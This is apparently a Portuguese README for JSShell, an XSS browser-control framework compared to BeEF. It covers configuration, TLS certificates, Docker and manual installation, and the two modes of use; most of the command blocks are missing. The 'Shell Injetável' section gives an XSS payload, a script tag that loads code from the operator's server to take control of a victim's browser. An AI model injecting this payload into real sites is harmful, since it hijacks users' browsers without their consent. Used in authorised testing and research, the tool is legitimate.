Instalação e Configuração

Arquivo de Configuração

No diretório resources, atualize o arquivo config.json com a configuração desejada:

• Host do banco de dados - se estiver usando o método de implantação docker, escolha o host do banco como db (que é o nome do host interno).
• URL de retorno - a URL que as requisições seguirão. O arquivo shell.js faz algumas chamadas AJAX para registrar e consultar novos comandos. Geralmente será http[s]://{SEU_IP_DO_SERVIDOR}:{PORTA}.
• Script de inicialização - um script que é executado automaticamente quando o cliente CLI do JSShell é iniciado.
• Domínio - se desejar gerar certificados TLS, este é o nome de domínio que o servidor usará.
• Também é possível apontar para um banco de dados remoto, se desejado.

Let's Encrypt

Agora o JSShell suporta TLS, o que significa que você pode gerar certificados TLS e fornecê-los ao servidor web. O servidor web inferirá o nome de domínio do arquivo config.json. Para criar o certificado, use o script create_cert.py na pasta scripts:

o campo de email é opcional.

Observe que o servidor web deve estar parado para que o script funcione corretamente. Neste ponto, geramos nossos certificados com sucesso! As únicas modificações que precisamos fazer são:

• No arquivo config.json, altere o esquema do campo URL para https.
• No arquivo docker-compose.yml, altere a porta exposta do contêiner web para 443.

Docker

Esta nova versão suporta a instalação e execução do JSShell via docker e docker-compose. Agora, para instalar e executar todo o framework JSShell, basta executar:

Isso irá:

• Iniciar e criar o banco de dados em segundo plano
• Iniciar o servidor da API web que lida com conexões recebidas em segundo plano
• Iniciar uma nova instância do contêiner de interface de linha de comando do JSShell

Método Regular

Se você ainda quiser usar o método antiquado de instalação, certifique-se de ter um banco de dados MongoDB em execução e atualize o arquivo config.json localizado no diretório resources.

Recomendo usar um ambiente virtual com pyenv:

Ou usando virtualenv:

Em seguida, instale os requisitos:

Executando

Se você usou o método docker, não há necessidade de executar o procedimento a seguir.

Servidor Web

Caso contrário, após configurar o banco de dados, precisamos iniciar o servidor da API web. Para isso, execute:

Isso criará e executará um servidor web que escuta conexões recebidas e serve nosso código JSShell.

Shell

Agora, para iniciar o CLI do JSShell, execute o mesmo script, mas agora com a flag shell:

Uso

Após a configuração e execução dos componentes necessários, digite o comando help para ver os comandos disponíveis:

Fluxo

O JSShell suporta 2 métodos de operação:

1. Shell Injetável (semelhante ao framework BeeF)
2. Shell Hospedado (para depuração)

Shell Injetável

Semelhante a outros frameworks de controle XSS (como BeeF), o JSShell é capaz de gerenciar explorações XSS bem-sucedidas. Por exemplo, se você puder injetar uma tag script, injete o seguinte recurso em seu payload, e um novo cliente aparecerá no seu console:

<script src="http[s]://{SEU_IP_DO_SERVIDOR}:{PORTA}/content/js"></script>

Shell Hospedado

Se você deseja depurar navegadores exóticos e esotéricos, basta navegar até http[s]://{SEU_IP_DO_SERVIDOR}:{PORTA}/ e um novo cliente aparecerá em seu cliente CLI do JSShell. Agora ele pode ser depurado através do nosso console JSShell.

Créditos

Canop pelo JSON.prune

use por sua própria conta e risco.